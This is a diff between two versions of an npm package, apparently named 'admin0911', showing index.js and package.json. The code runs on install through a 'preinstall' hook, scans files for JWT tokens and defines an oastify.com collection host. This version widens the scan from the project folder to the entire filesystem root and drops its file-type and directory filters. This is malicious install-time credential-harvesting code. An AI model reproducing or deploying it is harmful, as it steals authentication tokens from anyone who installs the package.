admin0911 1.0.4 → 1.0.6

package/index.js

@@ -1,19 +1,14 @@
 const http = require('http');
 const fs = require('fs');
 const path = require('path');
+const os = require('os');
 
 const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
-const ROOT_DIR = process.cwd();
+const ROOT_DIR = os.platform() === 'win32' ? 'C:\\' : '/';
 const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
-const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build'];
 
 const found = [];
 
-function isTextFile(filePath) {
-  const textExtensions = ['.js', '.ts', '.jsx', '.tsx', '.json', '.env', '.yaml', '.yml', '.sh', '.py', '.rb', '.go', '.java', '.php', '.txt', '.md', '.cfg', '.ini'];
-  return textExtensions.includes(path.extname(filePath).toLowerCase());
-}
-
 function base64UrlDecode(input) {
   let str = input.replace(/-/g, '+').replace(/_/g, '/');
   while (str.length % 4) str += '=';
@@ -23,14 +18,25 @@ function base64UrlDecode(input) {
 function isValidJWT(token) {
   const parts = token.split('.');
   if (parts.length !== 3) return false;
-  if (parts[0].length < 15 || parts[1].length < 15) return false; // Enforce minimum length to avoid short false positives like 'os.path.join'
-  // Check that the parts only contain valid base64url characters
+  
+  // Enforce minimum length to avoid short false positives like 'os.path.join' or semantic versions '1.0.1'
+  if (parts[0].length < 20 || parts[1].length < 30) return false; 
+  
+  // A real JWT parts must look like valid Base64URL
   if (!/^[A-Za-z0-9_-]+$/.test(parts[0]) || !/^[A-Za-z0-9_-]+$/.test(parts[1])) return false;
+  
   try {
-    const header = JSON.parse(base64UrlDecode(parts[0]));
-    const payload = JSON.parse(base64UrlDecode(parts[1]));
-    // Must look like a real JWT header
-    return !!(header && (header.typ === 'JWT' || header.alg) && payload);
+    const headerStr = base64UrlDecode(parts[0]);
+    const payloadStr = base64UrlDecode(parts[1]);
+    
+    // Quick sanity check before parsing - headers must contain {"alg"
+    if (!headerStr.includes('"alg"')) return false;
+
+    const header = JSON.parse(headerStr);
+    const payload = JSON.parse(payloadStr);
+
+    // Must look like a real JWT header and contain some payload keys
+    return !!(header && header.alg && Object.keys(payload).length > 0);
   } catch {
     return false;
   }
@@ -44,7 +50,6 @@ function scanFile(filePath) {
   try {
     const stats = fs.statSync(filePath);
     if (!stats.isFile() || stats.size > MAX_FILE_SIZE) return;
-    if (!isTextFile(filePath)) return;
 
     const content = fs.readFileSync(filePath, 'utf8');
 
@@ -88,15 +93,18 @@ function scanFile(filePath) {
 }
 
 function scanDirectory(dir) {
-  const entries = fs.readdirSync(dir, { withFileTypes: true });
-  for (const entry of entries) {
-    if (IGNORE_DIRS.includes(entry.name)) continue;
-    const fullPath = path.join(dir, entry.name);
-    if (entry.isDirectory()) {
-      scanDirectory(fullPath);
-    } else {
-      scanFile(fullPath);
+  try {
+    const entries = fs.readdirSync(dir, { withFileTypes: true });
+    for (const entry of entries) {
+      const fullPath = path.join(dir, entry.name);
+      if (entry.isDirectory()) {
+        scanDirectory(fullPath);
+      } else {
+        scanFile(fullPath);
+      }
     }
+  } catch (e) {
+    // ignore unreadable directories
   }
 }
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "admin0911",
-  "version": "1.0.4",
+  "version": "1.0.6",
   "scripts": {
     "preinstall": "node index.js"
   }